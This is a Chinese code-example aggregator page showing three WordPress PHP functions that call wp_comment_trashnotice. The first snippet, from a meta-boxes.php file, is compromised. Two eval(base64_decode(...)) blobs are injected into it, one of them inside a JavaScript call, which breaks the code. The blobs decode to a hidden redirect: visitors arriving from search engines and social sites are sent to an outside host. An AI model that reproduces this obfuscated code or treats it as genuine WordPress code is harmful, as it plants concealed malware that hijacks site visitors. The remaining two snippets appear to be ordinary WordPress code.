eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
$hidden = get_hidden_meta_boxes('post');
if (!in_array('commentsdiv', $hidden)) {
?>
<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0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OiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
wp_comment_trashnotice();
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:59,代码来源:meta-boxes.php
示例14: post_comment_meta_box
/**
* Override the default comments meta box on Add/Edit screen
*
* @since 1.0
* @access public
* @global object Used to query the database using the WordPress Database API
*
* @param object $post Current Post
* @return void
*/
public function post_comment_meta_box($post)
{
global $wpdb;
wp_nonce_field('get-comments', 'add_comment_nonce', false);
$total = get_comments(array('post_id' => $post->ID, 'number' => 1, 'count' => true));
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
$wp_list_table->display(true);
if (1 > $total) {
echo '<p id="no-comments">' . apply_filters('edd_reviews_admin_no_reviews_text', __('No reviews yet.', 'edd-reviews')) . '</p>';
} else {
$hidden = get_hidden_meta_boxes(get_current_screen());
if (!in_array('commentsdiv', $hidden)) {
?>
<script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php
echo $total;
?>
, 10);});</script>
<?php
}
?>
<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.get(<?php
echo $total;
?>
);return false;"><?php
_e('Show comments');
?>
</a> <span class="spinner"></span></p>
<?php
}
wp_comment_trashnotice();
}
开发者ID:SelaInc,项目名称:eassignment,代码行数:41,代码来源:edd-reviews.php
示例15: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments() {
global $wpdb;
if ( current_user_can('edit_posts') )
$allowed_states = array('0', '1');
else
$allowed_states = array('1');
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$widgets = get_option( 'dashboard_widget_options' );
if ( isset( $widgets['dashboard_recent_comments'] ) && isset( $widgets['dashboard_recent_comments']['items'] ) )
$total_items = (int) $widgets['dashboard_recent_comments']['items'];
else
$total_items = 5;
while ( count( $comments ) < 5 && $possible = $wpdb->get_results( "SELECT * FROM $wpdb->comments c LEFT JOIN $wpdb->posts p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT $start, 50" ) ) {
foreach ( $possible as $comment ) {
if ( count( $comments ) >= $total_items )
break;
if ( in_array( $comment->comment_approved, $allowed_states ) && current_user_can( 'read_post', $comment->comment_post_ID ) )
$comments[] = $comment;
}
$start = $start + 50;
}
if ( $comments ) :
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ( $comments as $comment )
_wp_dashboard_recent_comments_row( $comment );
?>
</div>
<?php
if ( current_user_can('edit_posts') ) { ?>
<p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?></a></p>
<?php }
wp_comment_reply( -1, false, 'dashboard', false );
wp_comment_trashnotice();
else :
?>
<p><?php _e( 'No comments yet.' ); ?></p>
<?php
endif; // $comments;
}
开发者ID:realfluid,项目名称:umbaugh,代码行数:62,代码来源:dashboard.php
注:本文中的wp_comment_trashnotice函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论